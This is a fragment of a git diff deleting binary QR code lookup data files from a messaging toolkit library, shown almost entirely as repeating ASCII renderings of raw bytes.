rssttuuv+**))(('jkkllmmn3221100/bccddeef;::99887Z[[\\]]^CBBAA@@?RSSTTUUV43322110nnooppqq//..--,,ffgghhii77665544^^__``aa??>>==<>==<<;VWWXXYYZ0//..--,rrssttuu++**))((jjkkllmm33221100bbccddee;;::9988ZZ[[\\]]CCBBAA@@RRSSTTUUKKJJIIHHJJKKLLMMDDCCBBAArrssyyzzz{{||}}~#""!! rssttuuv+**))(('jkkllmmn3221100/bccddeef;::99887Z[[\\]]^,++**))( vvwwxxyy''&&%%$$nnooppqq//..--,,ffgghhii77665544^^__``aa??>>==<>==<>??@ ~~vvwwxxyy''&&%%$$nnooppqq -  ~eddccbba@AABBCCD - - zz{{||}}##""!! rrssttuu - - - a``__^^]DEEFFGGH ~~vvwwxxyy  -  ]\\[[ZZYHIIJJKKL  - - zz{{||}} - -  !!"~~}}||{ - - - YXXWWVVULMMNNOOP - -  ~~~~}}||{"##$$%%&{zzyyxxw - %%&&'UTTSSRRQPQQRRSST  - -  - -{zzyyxwv&''(())*wvvuutts !!"~~}}||{ -'(())**+QPPOONNMTUUVVWWX - -  utssrrqq*++,,--.srrqqppo"##$$%%&{zzyyxxw - +,,--../MLLKKJJIXYYZZ[[\~~}}||  - - ppoonnmm.//00112onnmmllk&''(())*wvvuutts !!"~~}}||{ -/0011223IHHGGFFE\]]^^__`{{zzyyxx - - llkkjjii23344556kjjiihhg*++,,--.srrqqppo"##$$%%&{zzyyxxw - 34455667EDDCCBBA`aabbccdwwvvuutt !!~~}}|| hhggffee6778899:gffeeddc.//00112onnmmllk&''(())*wvvuutts !!"~~}}||{78899::;A@@??>>=deeffgghssrrqqpp""##$$%%{{zzyyxx - - ddccbbaa:;;<<==>cbbaa``_23344556kjjiihhg*++,,--.srrqqppo"##$$%%&{zzyyxxw;AABBCCD=<<;;::9hiijjkkloonnmmll&&''(())wwvvuutt !!~~}}|| %%&&''``__^^]]>??@@AAB_^^]]\\[6778899:gffeeddc.//00112onnmmllk&''(())*wvvuutts !!"~~}}||{~~}}||{DEEFFGGH98877665lmmnnoopkkjjiihh**++,,--ssrrqqpp""##$$%%{{zzyyxx - - (())**++\[ZYXWWVBCCDDEEF[ZZYYXXW:;;<<==>cbbaa``_23344556kjjiihhg*++,,--.srrqqppo"##$$%%&{zzyyxxw{zzyyssrHIIJJKKL54433221pqqrrsstggffeedd..//0011oonnmmll&&''(())wwvvuutt !!~~}}||,,--..//VUUTTSSRFGGHHIIJWVVUUTTS>??@@AAB_^^]]\\[6778899:gffeeddc.//00112onnmmllk&''(())*wvvuutts !!"rqqppoonLMMNNOOP100//..-tuuvvwwxccbbaa``22334455kkjjiihh**++,,--ssrrqqpp""##$$%%{{zzyyxx00112233RQQPPOONJKKLLMMNSRRQQPPOBCCDDEEF[ZZYYXXW:;;<<==>cbbaa``_23344556kjjiihhg*++,,--.srrqqppo"##$$%%&nmmllkkjPQQRRSST-,,++**)xyyzz{{|__^^]]\\66778899ggffeedd..//0011oonnmmll&&''(())wwvvuutt !!~~}}||44556677NMMLLKKJNOOPPQQRONNMMLLKFGGHHIIJWVVUUTTS>??@@AAB_^^]]\\[6778899:gffeeddc.//00112onnmmllk&''(())*jiihhggfTUUVVWW])((''&&%|}}~~[[ZZYYXX::;;<<==ccbbaa``22334455kkjjiihh**++,,--ssrrqqpp""##$$%%{{zzyyxx~~}}||{{8899::;;JIIHHGGFRSSTTUUVKJJIIHHGJKKLLMM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˂rXQltbvpfH˂pZrd|~Hf˂rXQZ|dfH~bے`rd|~HfprXQtbdvpfH˂pZHrd|~HfprXQtbdvpfHpZHA㉀ۑpf۝`vtbAdZHAbےZdQbtpvnJ`ےdQZ|~f`HAbےZdQbtpvnJ`ےrtAJlf`vXJXQrZdQbtvnXJ`ےQZ|d~f`Abے`ZdQbtvnXJ`ےQZ|d~f`bے``ZQXbXnvˍ|dr`JXQrlJtAXv`fbHAZpdrtAJvXn`JXQrlJtAXv`fbHAZptdrH~fpZHAlJtAv`fbHAZp˙rtAJlvXnہJXQrlJtAv`fbHAZp˙rtAJlvXnJXQrˀۑpJApfH~QtJl˂pZrd|~Hf˂rXQltbvpfH˂pZrd|~Hf˂rXQtAJl`vXnbJQrrd|~HfprXQtbdvpfH˂pZHrd|~HfprXQtbdvpfHp`JXHr󙐂ˁf۝`vtbAdZ|JJJJJJJJJJJJJJKKKKKKKKKKKKKKKKKKKKKKK \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_1.dat deleted file mode 100644 index 2cf2bf9..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_1.dat +++ /dev/null @@ -1,305 +0,0 @@ -}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvtstststsststststrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYWXWXWXWXWWXWXWXWUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;;;;;;<;<;;;;;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvtstststsststststrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYWXWXWXWXXWXWXWXWUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=><;<;<;<;;<;<;<;<:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvtstststsststststrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYWXWXWXWXXWXWXWXWUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=><;<;<;<;;<;<;<;<:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvtstststsststststrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYWXWXWXWXXWXWXWXWUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=><;<;<;<;;<;<;<;<:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwvuvuvuvuvtstststsststststrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYWXWXWXWXXWXWXWXWUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=><;<;<;<;;<;<;<;<:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvssssststsssssstsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[ZYZYZYZYZYWXWXWXWWXWXWXWXWUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=><;<;<;<;;<;<;<;<:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYWWWWXWXWWWWWWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?>=>=>=>=>=><;<;<;;;;<;<;<;;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;;;<;<;<;;;;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvstsssssststsssssrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvtstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWWWWWWXWXWWWWWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@=>=>=>=>=>=>=>=>;;;;;;<;<;;;;;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!"!   }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=><;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#"!"!"!"!"!"!"!"!  }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvtstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=><;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvutsttstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=><;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststsssstststsssrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYXWXWWXWXWXWXUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=><;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvsstststsssstststrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWWWWWWXWXWWWWUVUVUVUVUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=<;<;<<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                    - - - - - - - -              - - - - - - - -               - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -             - - - - - - - -              - - - - - - - -              - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -          - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -LLKKJJII]]^^__``((''&&%%DDEEFFGG=<;;::99 hiijjkkl}||{{zzy100//..- hiijjkkl}||{{zzy100//..- hiijjkkl}||{{zzy100//..- hiijjkkl}||{{zzy100//..- hiijjkkl}||{{zzy100//..- hiijjkklsrrqqppoGHHIIJJK98877665eeffgghh~~}}44332211eeffgghh~~}}44332211eeffgghh~~}}44332211eeffgghh~~}}44332211eeffgghh~~}}44332211eeffgghh{{zzyyssDDEEFFGG=<;;::99abbccdde87766554abbccdde87766554abbccdde87766554abbccdde87766554abbccdde87766554abbccdde~~}}||{;AABBCCDBBAA@?>=^^__``aa;;::9988^^__``aa;;::9988^^__``aa;;::9988^^__``aa;;::9988^^__``aa;;::9988^^__``aa''&&%%8899::;;HHGGFFEEaabbccdd~~}}||HHIIJJKK88776655 !!""##$lmmnnoopyxxwwvvu-,,++**) !!""##$lmmnnoopyxxwwvvu-,,++**) !!""##$lmmnnoopyxxwwvvu-,,++**) !!""##$lmmnnoopyxxwwvvu-,,++**) !!""##$lmmnnoopyxxwwvvu-,,++**) !!""##$lmmnnooponnmmllkKLLMMNNO54433221 iijjkkll||{{zzyy00//..-- iijjkkll||{{zzyy00//..-- iijjkkll||{{zzyy00//..-- iijjkkll||{{zzyy00//..-- iijjkkll||{{zzyy00//..-- 